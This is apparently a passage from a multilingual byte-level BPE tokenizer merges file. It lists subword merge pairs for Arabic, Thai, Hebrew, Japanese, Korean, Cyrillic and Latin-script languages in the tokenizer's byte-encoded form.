ÙĤدس +Ġng ược +ب Ø® +ส หร +สหร ั +สหรั à¸IJ +ĠØ£ غ +Ġأغ سط +Ġأغسط س +ãģĨ ãģ¾ +ãģĨãģ¾ ãģı +ĠêµŃ ìłľ +ØŃض ار +Ġd ừng +æĬ¼ ãģĹ +ت ÙĪØ§ +تÙĪØ§ جد +ש×ŀ ×Ĺ×Ķ +ãģı ãĤĵ +Ġ×ij×¢ צ +Ġ×ijעצ ×Ŀ +×ŀ ׳×Ļ×ķת +×ķ ×Ļ×ĵ +×ķ×Ļ×ĵ ×IJ×ķ +à¸Ĭ ิà¸ĩ +Ġprac ÄĻ +Ġз аÑĤ +ĠзаÑĤ ем +ĠìŀIJ ìľł +Ġì¤ Ģ +Ġì¤Ģ ë¹Ħ +Ġb áºŃ +ĠbáºŃ c +Ġ×Ķ×ŀ צ×ij +ĠÙĤ ÙĬÙħØ© +à¹Ģà¸Ń à¹Ģà¸Ĭ +à¹Ģà¸Ńà¹Ģà¸Ĭ ีย +Ġperch è +ĠاÙĦع سÙĥر +ĠاÙĦعسÙĥر ÙĬØ© +ج ÙĬب +ëŀ µ +Ùħ Ùĩر +ÙħÙĩر جاÙĨ +Ùħ راÙĥ +ÙħراÙĥ ز +Ġод нако +à¸Ķี à¹Ĩ +Ġצ פ×ķ +Ġkullan ılan +Ġк ино +ãĥĨãĤ£ ãĥ³ãĤ° +ĠGi Ỽi +ت ÙĪØ² +تÙĪØ² ÙĬع +ย ิà¸Ļ +ยิà¸Ļ à¸Ķี +Ġc Åĵur +ĠiÅŁ aret +Ġ×ij×¢ ×ĸר +Ġ×ij×¢×ĸר ת +Ġп аÑĨи +ĠпаÑĨи енÑĤ +ãģ¿ãģŁãģĦ ãģ§ãģĻ +в ез +ли на +од е +Ġ×IJ×ķת ף +dıģ ınız +ĠÐIJ в +ĠÐIJв ÑĤоÑĢ +ï¼ ® +ĠC ần +ĠاÙĦا Ø® +ĠاÙĦاخ بار +Ġê±° ìĿĺ +Ġat enção +Ġgeld iÄŁi +ãĤª ãĤ¹ +ãĤªãĤ¹ ãĤ¹ +ãĤªãĤ¹ãĤ¹ ãĥ¡ +ев Ñĭе +кÑĢÑĭ л +à¹Ģà¸Ĭ ียà¸ĩ +à¹Ģà¸Ĭียà¸ĩ à¹ĥหมà¹Ī +Ġmar ço +ĠاÙĦÙħ ادة +Ġг ол +Ġsprzeda ży +Ġíķ´ ê²° +ĠÐķ го +ê¹ Ģ +Ġ׾ק×ij׾ ת +ĠاÙĦÙģ ÙĨاÙĨ +Ġcomunic ación +à¹Ģสà¹īà¸Ļ à¸Ĺาà¸ĩ +íĺ ¹ +à¸Ĭ ำ +à¸Ĭำ ระ +Ġ׼ ×IJ×ŀ +Ġ׼×IJ×ŀ ×ķר +à¸Ĭ à¹Īาà¸ĩ +ز Ùĩر +Ġklient ów +ива ÑİÑĤ +ан г +׳ ×ļ +Ġg á»įn +Ãľ R +ìĺģ ìĥģ +Ġغ زة +ìĿĮ ìĿĦ +Ġbez po +Ġbezpo ÅĽ +ĠbezpoÅĽ redni +ĠاÙĦÙħ ÙĪØ§ +ĠاÙĦÙħÙĪØ§ Ø·ÙĨ +ĠاÙĦÙħÙĪØ§Ø·ÙĨ ÙĬÙĨ +ãĤĮ ãģ¾ãģĻ +ĠмаÑĤ Ñĩ +×IJ ×ķף +Ġر سÙħÙĬ +ĠÑįк он +ĠÑįкон ом +ĠÑįконом иÑĩеÑģк +ãĥľ ãĥ¼ +Ġд иÑĢ +ĠдиÑĢ ÐµÐºÑĤоÑĢ +ĠÑģк оÑĢо +à¸ļ ำ +à¸ļำ ร +à¸ļำร ุà¸ĩ +ĠÑĦ ÑĥÑĤ +ĠÑĦÑĥÑĤ бол +Ġ×IJ ×Ļ׾ +Ġì¤ij êµŃ +ìľ ¤ +eÄŁ e +à¹Ħ à¸ģà¹Ī +tra î +traî n +ĠÑĤ ÑĢÑĥб +à¹Ģà¸ļ ื +à¹Ģà¸ļื à¹īà¸Ńà¸ĩ +à¹ģม à¸Ļ +ĠتØŃ دÙĬØ« +Ġ׼ עת +ØŃ اسب +lı ÄŁa +×§×Ļ ×Ļ×ŀ×Ļ×Ŀ +оÑģÑĤ ÑĮÑİ +à¸Ŀ ั +à¸Ŀั à¹Īà¸ĩ +Ø´ غÙĦ +ìĽ ¹ +Ġкажд ого +Ġbölüm ü +หà¸Ļ ี +Ġistedi ÄŁi +Ġtr ưng +ãĥ Į +ฮ à¸Ń +Ø£ÙĨ Ø´ +Ø£ÙĨØ´ طة +ĠاÙĦÙħ سÙĬ +ĠاÙĦÙħسÙĬ ØŃ +ลัà¸ģษ à¸ĵà¹Į +Ġn á»Ńa +à¸Ĺีà¹Ī à¸ķà¹īà¸Ńà¸ĩà¸ģาร +ÑĪ ÐµÐº +л Ñij +Ġש ×Ļ×Ķ +Ġש×Ļ×Ķ ×Ļ×Ķ +Ġkhu ôn +ĠÑĤÑĢеб ованиÑı +Ġ×ľ×¢ ×ĸ×ķר +ĠاÙĦع Ùħر +ราà¸Ħา à¸ĸูà¸ģ +ÙĩÙı ÙħÙĴ +ü st +üst ü +Ġден ег +Ġn ạ +à¸Ĥà¸Ļ ม +Ġбл аг +Ġблаг од +Ġблагод аÑĢ +ĠблагодаÑĢ Ñı +Ø¥ سÙĦاÙħ +à¸Ļิ ว +çŁ¥ ãĤīãģªãģĦ +Ø« ÙĤØ© +Ġг олоÑģ +×IJ×ķר ×Ĺ +Ġtr ứng +Ġод ном +ĠkoÅĦ cu +Ġ×ķ רק +Wi ÄĻ +WiÄĻ cej +Ġ×IJ ×Ļ׼×ķת +Ġ×IJ×Ļ׼×ķת ×Ļ +Ñģ оÑģ +Ġje żeli +以ä¸ĭ ãģ® +å°ı ãģķ +å°ıãģķ ãģª +олог ии +Ġоб ÑģлÑĥж +ĠобÑģлÑĥж ива +Ùĥت ابة +Ġê´Ģ ìĭ¬ +×¢ ש×Ļר +Ġaras ındaki +ĠÑĢай она +ÙĪØ§ جب +Ġ×ij×Ĺ×Ļ ×Ļ +íķ´ ì£¼ +Ġg óc +ай л +ĠT ình +æļ® ãĤī +æļ®ãĤī ãģĹ +æĻĤ ãģ«ãģ¯ +ĠгоÑĢод е +Ġ׼×IJ ×Ļ׾ +Ġ׼×IJ×Ļ׾ ×ķ +ĠC á»Ļng +ãģ©ãģĨ ãģĹãģ¦ãĤĤ +×Ĺ ×ķ×£ +تØŃ رÙĥ +ĠÑģлов ам +à¸Īะ à¸Ĭà¹Īวย +ĠاÙĦÙħست ÙĤبÙĦ +ÙĤ ض +ÙĤض ÙĬ +×ijס ×ķפ +×ijס×ķפ ×ķ +iÄĻ Äĩ +ĠY ıl +Ø´ ÙĬØ® +à¸Ħุà¸ĵ à¸Īะ +ש×ŀ ×ķת +Ġت عرض +Ġanál ise +ĠÑģоб иÑĢа +à¹Ģà¸ŀ à¸Ĭ +à¹Ģà¸ŀà¸Ĭ ร +Ġв ели +Ġвели к +สั à¹īà¸Ļ +Ġpop ulação +รà¹Īวม à¸ģัà¸Ļ +×Ĺ ×ŀ +×Ĺ×ŀ ×Ļש×Ļ +ס ×Ļס +åĨħ ãģ§ +Ġsob Äħ +ĠY ay +ĠYay ın +ãĥ¡ ãĥĭãĥ¥ãĥ¼ +ĠпÑĢедоÑģÑĤав лÑı +ãģł ã썿ĢĿãģĨ +Ġê³ł ê°Ŀ +Ġод ним +à¹ĥà¸Ļ à¹Ģรืà¹Īà¸Ńà¸ĩ +Ġs á»ķ +ĠÐĹ Ð´ÐµÑģÑĮ +Ġизмен ениÑı +ĠìĿ¼ ìĿĦ +ãģªãģ® ãģł +клад Ñĭва +ÑĢ Ð¼Ð° +Ġ×ķ×ij ׼׾ +تأ ÙħÙĬÙĨ +ĠпÑĢи ÑıÑĤ +ĠпÑĢиÑıÑĤ н +Ùħ Ùħار +ÙħÙħار سة +ãģ¨ãģª ãģ£ãģ¦ +Ġج ÙħÙĬÙĦ +Ġì§ Ī +Ġì§Ī 문 +Ġquest ão +i é +ié ndo +หà¹īà¸Ńà¸ĩ à¸ŀัà¸ģ +ãĥij ãĥ¼ãĥĪ +ÑĤвеÑĢж да +н Ñģкой +з ал +มุ à¹Īà¸ĩ +á» Ĭ +Ġ×Ķ×IJ×Ĺר ×ķ׳×Ķ +ĠTh ư +주 민 +ĠاÙĦع ب +év én +évén ement +ÙĤÙĪ Ø§Ø¹Ø¯ +د Ùı +ĠìķĬ ìĬµëĭĪëĭ¤ +Ġë³´ 기 +Ġyapıl ması +à¹Ģร าà¸ģ +à¹Ģราà¸ģ à¹ĩ +ØŃ ذر +ÙĤ صر +ãģ¦ãģĹãģ¾ ãģĦãģ¾ãģĹãģŁ +Ġà¹Ģà¸Ľà¹ĩà¸Ļ à¸ķà¹īà¸Ļ +ãģ¨ ãģ« +ãģ¨ãģ« ãģĭ +ãģ¨ãģ«ãģĭ ãģı +н ÑĨе +зв Ñĥк +ãģĹãĤĪãģĨ ãģ¨ +ĠاÙĦصØŃ ÙĬØ© +Ġש×Ķ ×Ļ×ķ +ĠDi ÄŁer +ÙĤÙĦ ÙĤ +ãĤ¸ãĥ£ ãĥ³ +Ġr á»Ŀi +Ġл еÑĩ +ĠлеÑĩ ениÑı +تب اد +تباد ÙĦ +צ פ×Ķ +à¸Ħวาม à¹Ģหà¹ĩà¸Ļ +ĠØ´ ب +Ġشب ÙĥØ© +ר ×Ļ×§ +Ùħ عد +Ùħعد ات +dıģ ında +Ġ×ijש ׳×Ļ×Ŀ +Ġ×Ķ ×Ļשר×IJ׾ +Ġ×Ķ×Ļשר×IJ׾ ×Ļת +Ġsı nav +׳צ ×Ļ×Ĵ +วัà¸ķ à¸ĸุ +ĠاÙĦبر ÙĦÙħ +ĠاÙĦبرÙĦÙħ اÙĨ +t ivitÃł +ãĤĵãģł ãĤįãģĨ +×§×Ļ ×Ļ×ŀ +ÙĦÙĬ Ùĥ +ĠÄij ò +ĠÄijò i +ĠÐĺн ÑĤеÑĢ +ĠÐĺнÑĤеÑĢ Ð½ÐµÑĤ +ãģ«ãģ¨ãģ£ãģ¦ ãģ¯ +ãģ£ ãģĵ +×§ ×ķס +ست ØŃÙĤ +æķĻ ãģĪãģ¦ +ãĥĢ ãĥ¡ +ĠÙħÙĨ زÙĦ +à¹Ģà¸ĭ à¹ĩà¸Ļ +使 ãģĪãĤĭ +è¦ĭ ç©į +è¦ĭç©į ãĤĤãĤĬ +Ø£ Ùģ +Ø£Ùģ Ùĥار +Ġиг ÑĢов +ĠигÑĢов Ñĭе +Ġm ÄĻż +ĠmÄĻż czy +ĠmÄĻżczy zn +ĠاÙĦØŃ ÙĤÙĬÙĤÙĬ +ع بر +׼×ķ׾ ׳×ķ +íĿ ¥ +×ŀ×IJ ×ķ×Ĺר +خت ص +ãĥŀ ãĥŀ +Ġ×IJ×Ĺ ×ķ×ĸ +í ĮĢ +Ġr á»iji +Ġв ÑĤоÑĢ +ĠвÑĤоÑĢ Ð¾Ð¹ +Ġl ẫn +пÑĢ Ð¾Ð¼ +пÑĢом ÑĭÑĪ +пÑĢомÑĭÑĪ Ð»ÐµÐ½ +пÑĢомÑĭÑĪлен н +ĠоÑĤноÑĪ ÐµÐ½Ð¸Ñı +Ġs ứ +Ġм обилÑĮ +ĠмобилÑĮ н +ĠÑįÑĤ омÑĥ +Ġt ạp +ĠìĤ¬ ê±´ +ĠìķĮ 볤 +Ùĥ Ùı +ÙĥÙı ÙħÙĴ +Ġ×§ ×ķר×Ķ +ĠÑĦ иÑĢ +ĠÑĦиÑĢ Ð¼ +Ġsık ıntı +׳ ׼ +׳׼ ×ķף +ÙĪÙĦÙĪØ¬ ÙĬ +ØŃ اÙĨ +Ġlo ạn +Ġ×IJ׾ ×£ +Ġm ắn +abh äng +abhäng ig +ĠÑĥÑĢов нÑı +Ġ׾×ij×ĵ ×ķ×§ +ÙĬ ÙħÙĨ +lay ın +Ġh ải +Ġзав од +ĠìķĦ 주 +สà¸ĸ า +สà¸ĸา à¸ļัà¸Ļ +Ġgüven lik +à¹Ģà¸Ķ à¹Īà¸Ļ +×ij×ĵ ×§ +Ġë Ī +ĠëĪ Ħ +ĠëĪĦ 구 +éĩįè¦ģ ãģª +รà¸Ńà¸ĩ รัà¸ļ +sch lie +schlie ÃŁen +Ġìĸ ¼ +Ġìĸ¼ ë§Ī +Ġìĸ¼ë§Ī ëĤĺ +ÑĤи ки +íķľëĭ¤ ê³ł +ãģłãģ£ãģŁ ãĤī +Ġ×Ķ ×Ļ×ĺ×ij +ãģªãģijãĤĮãģ° ãģªãĤīãģªãģĦ +â Ì +Ã¢Ì £ +Ġph ạt +ak Ä±ÅŁ +ãģ¦ãģĹãģ¾ ãģĦãģ¾ãģĻ +à¹Ģà¸ĭ à¹ĩ +ĠС егоднÑı +Ġinsan ların +Ġdévelop pe +ת פר +תפר ×Ļ×ĺ +اÙĨت شار +ê° ij +Fran çois +Ø£ÙĦ ع +Ø£ÙĦع اب +ãĤĴ è¶ħ +ãĤĴè¶ħ ãģĪ +Ġê°Ļ ìĬµëĭĪëĭ¤ +ãĤ³ ãĥ¬ +ĠмеÑģÑı ÑĨев +íĮ ħ +ĠاÙĦج اÙħعة +ìĿ¸ íĦ° +ìĿ¸íĦ° ëĦ· +×ĵר ×ķש +ĠÙĪØ£ شار +ĠпÑĢав ила +ãģĿãģĵ ãģ« +×Ĺ ×ŀ×ĵ +à¹Ģหà¸ķุ à¸ģารà¸ĵà¹Į +Ġê²½ íĹĺ +ãģ¶ ãĤĬ +׾ ש +׾ש ×ķף +à¹Ģ à¸ĸ +ĠDo ÄŁu +ĠиÑģполÑĮзов ание +Ġçoc uÄŁu +магазин е +ĠÄiji á»ĥn +Ġas lı +Ġaslı nda +Ġdoen ça +Ġس اع +Ġساع ات +ĠиÑģполÑĮзов аниÑı +ר ×ķצ×Ļ×Ŀ +ĠзнаÑĩ иÑĤ +ĠÑĢаР¼ +ĠÑĢам каÑħ +ê±° 리 +Ġп ÑĭÑĤа +ãĥģ ãĥ³ +Ġпо Ñģк +ĠпоÑģк олÑĮ +ĠпоÑģколÑĮ кÑĥ +Ø¥ بر +إبر اÙĩ +إبراÙĩ ÙĬÙħ +ĠÑĤÑĢ ÐµÑħ +ĠGen ç +س ÙĪÙģ +Ġve ÃŃculo +ĠNg ân +ĠоÑĩеÑĢ ÐµÐ´ÑĮ +à¸Ħร ึà¹Īà¸ĩ +×IJ ×ij×Ļ +à¸ķ à¹īม +ãĤĴè¡Į ãģĦ +ĠاÙĦساب ÙĤØ© +на ÑĨи +наÑĨи она +наÑĨиона лÑĮн +Ġgest ión +ت ÙĤد +ĠاÙĦبÙĬ اÙĨ +ĠاÙĦبÙĬاÙĨ ات +ĠاÙĦ اÙĨتخاب +ĠاÙĦاÙĨتخاب ات +à¹Ģà¸Ĭ à¹Īา +×ĵ ×IJ×Ĵ +Ġ׾×Ĵ ×ŀר×Ļ +Ġت ØŃتاج +Ġth ôn +à¸ķ à¹īà¸Ńà¸Ļ +à¸ķà¹īà¸Ńà¸Ļ รัà¸ļ +女 ãģ® +女ãģ® åŃIJ +Ġth ợ +Ø· ØŃÙĨ +ารà¹Į à¸Ķ +ת ×ŀ×Ļ×ĵ +ĠÑģам Ñĭм +Ġìĭľ íĸī +Ø¥ صد +إصد ار +ĠNgh á»ĩ +ìķ ķ +س ئ +سئ ÙĦ +à¸Ń าร +à¸Ńาร ม +à¸Ńารม à¸ĵà¹Į +à¹ģ ฮ +׳×ĺ ׾ +Ġì¢ĭ ìķĦ +×ķ׾ ׾ +Ġ×ij ×Ľ×ª×ij +ãĤ« ãĥ© +צע ×Ļר×Ļ×Ŀ +تعب ÙĬر +Ġ×ŀ קר×Ķ +ĠÑĦак ÑĤоÑĢ +Ġت ÙħاÙħ +ĠتÙħاÙħ ا +ëį ķ +Ġv ưá»Ŀ +Ġvưá»Ŀ n +Ġd Ä±ÅŁÄ± +ãģĦ ãģ¡ +Ġ׾ק ׳×ķת +ĠاÙĦع ÙĦاÙĤات +п Ñĥб +пÑĥб ли +Ø¥ ÙĬÙħ +Ø¥ÙĬÙħ اÙĨ +à¸Ńำ à¸Ļา +à¸Ńำà¸Ļา à¸Ī +åIJ« ãģ¾ãĤĮ +ãĤĭ ãģŁãĤģãģ« +ס ×Ĵ +ס×Ĵ ׳×ķף +تØŃ دÙĬ +Ġaup rès +ĠاÙĦج Ùĩا +ĠاÙĦجÙĩا ز +Ġ×ŀ ת×Ĺת +ен нÑĥÑİ +Ġз им +à¸ģา à¹ģà¸Ł +Ġ×ijת ×ķר +Ġngh è +Ġnghè o +ĠÐĽ Ñİ +ĠÐĽÑİ Ð± +תק צ×Ļ×ij +×ŀ×¢ ש×Ķ +ĠاÙĦبÙĬ ت +צ ×Ļפ +ĠобÑıз ан +ĠM á»Ĺi +ĠТ ÑĥÑĢ +ĠÙĪØ¨ اÙĦت +ĠÙĪØ¨Ø§ÙĦت اÙĦÙĬ +Ġdéc ision +Ġب د +Ġبد أت +Ġc ục +Ġb ask +Ġbask ı +Ġhat ırl +Ġhatırl a +å°ı ãģķãģĦ +Ġgerçek ten +à¸ľ ัà¸ģ +åı¯èĥ½ ãģª +×ŀ×IJ ס +Ġcr ÃŃtica +ĠìĿĺ ìĽIJ +عÙĤ ÙĪØ¯ +×ĺ ׼׳ +×ĺ׼׳ ×ķ׾×ķ×Ĵ×Ļ×Ķ +è¨Ģ ãģĪãģ° +ĠÙĤ ÙĨا +ĠÙĤÙĨا Ø© +ĠìĿ´ê²ĥ ìĿĢ +ت صر +à¸Ł ัà¸Ļ +ĠÑĢе ÑĨеп +ĠÑĢеÑĨеп ÑĤ +ĠبÙĨ Ù쨳 +ÑĢо ÑĪ +ĠмаÑĢ ÑĤа +Ġson ras +Ġsonras ı +×ķ×ij ש +ãĥª ãĤ¹ãĤ¯ +ĠFranç ais +á» ļ +ê° Ķ +Ġ×Ķ×ijר ×Ļת +פ ×Ļצ +פ×Ļצ ×ķ×Ļ +ĠÙĦÙħا ذا +ĠÐļи ев +ĠÑģ мÑĭÑģл +ê¸Ī ìľµ +ãĤ·ãĥ£ ãĥ« +ãĥ© ãĤ¤ãĥĪ +ìĽ ĥ +×ŀ ×Ĺר +ãĨ į +Ġkullan ım +Ġ×IJצ׾ ׳×ķ +Ġt Ãłn +ãĥı ãĥ¼ +ãģ¨ ãģ¨ãĤĤ +ãģ¨ãģ¨ãĤĤ ãģ« +ÑĢ ÐµÐ³ +ÑĢег и +ÑĢеги он +ãģªãģı ãģªãĤĭ +Ġch ảy +Ġج ÙĩØ© +ÅĦsk iej +à¸Ńี à¹Ģม +à¸Ńีà¹Ģม ล +ãģį ãģ£ãģ¨ +ĠìĺĪ ìĤ° +Ġkit abı +Ġedu cação +Ġbul uÅŁ +олог иÑı +Ġкон кÑĢ +ĠконкÑĢ ÐµÑĤ +×Ĵ ×Ļר +ĠпÑĢед лаг +ĠпÑĢедлаг аеÑĤ +ĠY ên +Ġíķľ ë²Ī +Ġ×ŀ ר׼×ĸ×Ļ +à¹Ģà¸Ľà¸´à¸Ķ à¹Ģà¸ľà¸¢ +ÑĤвеÑĢ Ð´ +ĠH á»ĩ +ĠÐĵ ÑĢ +à¸Ŀ à¹īา +×Ķ ×©×§ +×Ķשק ×¢×Ķ +Ġна Ñĥк +ìłIJ ìĿĦ +Ġн елÑĮ +ĠнелÑĮ з +ĠнелÑĮз Ñı +г ин +ĠB öl +ĠBöl ge +Ġв ла +Ġвла ÑģÑĤи +à¹Ģà¸Ļ à¹ĩ +à¹Ģà¸Ļà¹ĩ à¸ķ +ê³ ¨ +Ġö ld +Ġöld ür +׼׳ ×¢ +ĠاÙĦÙĩ ÙĬئة +ت ارÙĬØ® +ĠÐij ÑĢ +ĠÑģ мож +ĠÑģмож еÑĤе +ĠL úc +à¹Ħà¸Ľ à¸ĸึà¸ĩ +ĠBakan ı +Ġerklä rt +ĠÐIJ на +Ġsc ène +åķı ãģĦ +åķıãģĦ åIJĪãĤıãģĽ +ÙħÙĩ ÙĨد +ÙħÙĩÙĨد س +Ġн азвание +ив аниÑı +ãĤĴ å¤īãģĪ +ä»ĺãģį åIJĪ +ãĥij ãĤ½ +ãĥijãĤ½ ãĤ³ãĥ³ +æĺİ ãĤī +æĺİãĤī ãģĭ +à¹Ģà¸Ńà¸ģ สาร +à¹Ģà¸ģิà¸Ļ à¹Ħà¸Ľ +л еп +ãģĹãģŁ ãĤĤãģ® +ĠC âm +ĠCâm ara +×§×ķ׾ ׳×ķ×¢ +Ġ×ij×Ĵ ×Ļף +Ġoc zy +Ġoczy wiÅĽcie +att ivitÃł +ãĥĵ ãĥ¥ãĥ¼ +Ġeduc ación +İ YE +ê¹Į ìļĶ +ãĤ¨ ãĥªãĤ¢ +н еÑģÑĤи +Ġm óg +Ġmóg ÅĤ +Ġ×§×ĺ ׳×Ļ×Ŀ +ĠPr ä +Ġ×ľ×¢ ×ij×ķר +بÙĨ Ùī +з ол +зол оÑĤ +Ġwn ÄĻtr +ĠwnÄĻtr z +Ġconstr ução +รัà¸ļ รà¸Ńà¸ĩ +س جÙĨ +Ġ×§ ×ķ׳ +ס ×Ļפ×ķר +ĠÙħ دÙī +رض Ùī +п лав +ï¼ ¥ +Ġil a +Ġila ç +ãĤĭ ãģ¹ãģį +ĠÙħ ÙĪÙĤÙģ +à¸ģร ุ +à¸ģรุ à¸ĵา +chodzÄħ c +ĠÑĤÑĭ Ñģ +Ðķ вÑĢо +ĠÙĬ ØŃدث +ãĥ¡ ãĤ¤ãĥ³ +ĠاÙĦص ØŃÙĬ +ĠÐĶ Ð°Ð½ +دع اء +ãĤ´ ãĥ¼ãĥ« +ש ×ł×ª×Ļ +×©×ł×ª×Ļ ×Ļ×Ŀ +à¸Ķà¹īวย à¸ģัà¸Ļ +Ġol acaģı +Ġ×ij ×ŀ×Ĺ×Ļר +×Ķ ×§ +×Ķ×§ ×ŀת +ãĥ¢ ãĥİ +ĠçalÄ±ÅŁ tı +Ġjó venes +ãģĦãģı ãĤī +ĠÙħ عدÙĦ +ĠC Å©ng +ĠSeg ún +Ġdönem de +Ġ׾ ×Ļ×ĵ×Ļ +ãģį ãģ¡ +ãģįãģ¡ ãĤĵ +ãģįãģ¡ãĤĵ ãģ¨ +Ù쨱 ÙĨس +Ù쨱ÙĨس ا +åIJij ãģį +Ġcamp aña +ĠÑģам оÑģÑĤоÑı +ĠÑģамоÑģÑĤоÑı ÑĤелÑĮно +á» Ģ +ÙĤ ÙĪØ§ +س ÙĦاØŃ +à¸ģระ à¹ģ +à¸ģระà¹ģ ส +ĠполÑĮз Ñĥ +n qu +nqu ête +รà¹Īวม à¸ģัà¸ļ +ëĬIJ ëĥIJ +à¸Ĺีม à¸Ĭาà¸ķิ +Ġyıll ık +ìĬ ¬ +ĠØ£ صØŃاب +ill é +Ġdó la +Ġdóla res +Ġк ож +Ġкож и +ล à¹īà¸Ń +à¹Ģรีย à¸ļร +à¹Ģรียà¸ļร à¹īà¸Ńย +à¹Ģà¸ŀ ิ +à¹Ģà¸ŀิ à¹Īà¸ĩ +ÑĢиÑĤоÑĢ Ð¸ +Ġí ijľ +Ġíijľ íĺĦ +ĠпеÑĢ ÐµÐ² +ĠпеÑĢев од +פ×Ĵ ×Ļ×¢×Ķ +ĠdeÄŁerlendir me +Ùģ Ø§Ø¦ +ĠвÑĭ год +ınız ı +×ķ׼ ×Ļ×Ĺ +ĠдоÑģÑĤ иг +Ġng Ãłn +æĢĿ ãģ£ãģŁ +ĠÐķ ÑģÑĤÑĮ +ĠاÙĦر غÙħ +ĠzwiÄħz ane +رب Ø· +à¸Ļ ึà¸ĩ +Ġ׾×Ĺ ×ķ×§ +Ġszczeg óln +Ġszczególn ie +Ġبا ستخداÙħ +ĠfÃŃs ico +×¢ ס +עס ×ķ×§ +سÙĦ ÙĪÙĥ +Ġا ØŃد +Ñĩ ÑijÑĤ +×ĸ׼ ×Ķ +Ġl á»ĩnh +ĠÙĪ ØŃت +ĠÙĪØŃØª Ùī +à¸Ħวาม สามารà¸ĸ +à¸Ńยูà¹Ī à¹ģลà¹īว +à¸ģาร à¹Ģà¸Ķิà¸Ļà¸Ĺาà¸ĩ +تخ ذ +צ×Ļ ×ķ×ĵ +ĠاÙĦØ£ س +ĠاÙĦأس ÙĩÙħ +Ġt á»ĩ +ãģ£ãģ¦ ãģĦãģ¦ +สร ุ +สรุ à¸Ľ +Ġком ÑĦ +ĠкомÑĦ оÑĢÑĤ +ìĺ¤ ëĬĶ +ĠÑĢаз в +ĠÑĢазв ива +л анд +h änge +ĠبÙĨ سبة +à¹Ģà¸Ĥ ียว +עצ ×Ŀ +Ġ׾ ×ľ×Ľ×ª +Ñģо ÑĨиалÑĮн +Ġëĭ¤ìĿĮ ê³¼ +Ġרש ×ķ×ŀ +×ŀר ×Ĺ×ij +س ÙĤØ· +Ġalan ı +ĠÄij á»ĩ +é£Łãģ¹ ãĤĭ +à¸Ķ ึà¸ĩ +Ġgegen über +ĠبÙĩ ذÙĩ +à¸ĸืà¸Ń à¹Ģà¸Ľà¹ĩà¸Ļ +ëķ ħ +à¸Ħà¸Ļ à¹Ħà¸Ĺย +ãĤ¢ ãĤ¦ +ãĤ¢ãĤ¦ ãĥĪ +ศ ัà¸ģ +ศัà¸ģ à¸Ķิ +ศัà¸ģà¸Ķิ à¹Į +ÙĤÙĪ Ø§ÙĨ +ÙĤÙĪØ§ÙĨ ÙĬÙĨ +Ġhá»Ļ p +ãģªãģıãģª ãģ£ãģ¦ +Ġ×IJ ×ŀ׳ +Ġ×IJ×ŀ׳ ×Ŀ +à¹Ģà¸ķ ืà¸Ńà¸Ļ +ĠзавиÑģ им +ĠзавиÑģим оÑģÑĤи +ת ×Ļ×IJ +ת×Ļ×IJ ×ķר +å§ĭãĤģ ãģŁ +Ġng á»į +Ġngá»į t +íĴ į +ê³¼ ìŀ¥ +Ġb ại +ãģ§ãģį ãģ¦ +Ġcomeç ar +à¸Ľà¸£ าà¸ģ +à¸Ľà¸£à¸²à¸ģ à¸ı +Ġгод Ñĭ +м еÑģ +ĠاÙĦÙħست ÙĪÙī +ĠÑģам Ñĭе +л леÑĢ +ãģ£ãģ¦ãģĹãģ¾ ãģĦãģ¾ãģĻ +ãģ¨ãģ® ãģĵãģ¨ +bi ó +à¸ģล à¹Īà¸Ńà¸ĩ +ĠاÙĦز ÙĪØ¬ +ãģ«è¡Į ãģ£ãģŁ +à¸Ħà¹Ī à¸Ńà¸Ļ +à¸Ħà¹Īà¸Ńà¸Ļ à¸Ĥà¹īาà¸ĩ +ĠbaÄŁ l +ĠbaÄŁl ant +ĠbaÄŁlant ı +確 ãģĭ +確ãģĭ ãģ« +ãĥľ ãĥ¼ãĥ« +çµĤ ãĤıãĤĬ +ש ×ŀר +à¸Ĺีà¹Ī สามารà¸ĸ +ÙĦ زÙħ +д аеÑĤÑģÑı +รัà¸ļ à¸Ľà¸£à¸° +รัà¸ļà¸Ľà¸£à¸° à¸Ĺาà¸Ļ +å¤ī ãĤıãĤĬ +ï¼ ¢ +ĠìĺĪìĪĺ ëĭĺ +ãĤĪãģĨ ãģ¨ +มัà¸ģ à¸Īะ +ĠH ương +ÙĨ Ù쨰 +×ŀ×ĵ ×ĵ +ĠìĿ¸ ìłķ +Ñħод иÑĤÑĮ +ĠзавиÑģ иÑĤ +×ķ×ĵ ×Ļ×¢ +ãģĵãģ¨ãģĮ ãģĤãĤĬãģ¾ãģĻ +ع راÙĤ +سط ØŃ +à¸ģำ à¹Ħร +ëĵ¤ ëıĦ +×Ļצ ×Ļר×Ķ +ãģĨ ãģĵãģ¨ +ÙĦا ØŃÙĤ +ãģĦ ãĤĮãģ° +ĠиÑģполÑĮз ÑĥÑİÑĤ +ĠB ợi +Ġשק׾ ×Ļ×Ŀ +ÑĨи кл +ÐIJ Ðŀ +Ġ×ijש ׳×Ķ +ÙĨØ´ Ø· +Ġש ×Ļ׳×ķ×Ļ +Ġש×Ļ׳×ķ×Ļ ×Ļ×Ŀ +Ġpobl ación +ĠH ưng +ระ ว +ระว ัà¸ĩ +رÙĬاض Ø© +ر صد +تÙĤ ÙĦÙĬ +تÙĤÙĦÙĬ د +Ġülk em +Ġülkem iz +à¸Ĭ ะ +ãĤ¯ãĥª ãĥ¼ãĥł +èģŀ ãģĦãģŁ +Ġwa ż +Ġważ ne +ê±° ëĵł +ê±°ëĵł ìļĶ +×ŀ×IJ ×ij×§ +×Ĺ×ĵ ש×ķת +ĠW roc +ĠWroc ÅĤaw +ĠKü ltür +s ist +sist ência +×¢×ĸר ×Ķ +Ġg ương +รà¹īาà¸Ļ à¸Ħà¹īา +ĠÙĪØ£ ÙĪØ¶ØŃ +ánd ose +ãĤ· ãĥ¼ãĥ³ +×IJ׳ ר×Ĵ +×IJ׳ר×Ĵ ×Ļ×Ķ +ãģªãģĦ ãģ§ãģĻ +Ġkh á»§ng +Ġ문 ìĦľ +Ġ×ij ×ĵ×ijר +×ĵ ×Ļ×ķ +×ĵ×Ļ×ķ ×ķ×Ĺ +Ġré gl +ÙħÙĪ Ø§Ø¯ +об оÑĢ +обоÑĢ Ð¾ÑĤ +Ġ×Ķ ×ij׾ +Ġ×Ķ×ij׾ ×ķ×Ĵ +ØŃ اÙħ +ĠاÙĦع اص +ĠاÙĦعاص ÙħØ© +пеÑĢ Ð°ÑĤоÑĢ +ت Ø®ÙĦ +تخÙĦ ص +ãģŁãģł ãģĹ +ت سÙħ +à¹Ĥรà¸ĩ à¸ŀ +à¹Ĥรà¸ĩà¸ŀ ยา +à¹Ĥรà¸ĩà¸ŀยา à¸ļาล +ĠY ük +ĠYük sek +Ġש ׳×Ļת +Ġש׳×Ļת ף +liÄŁ e 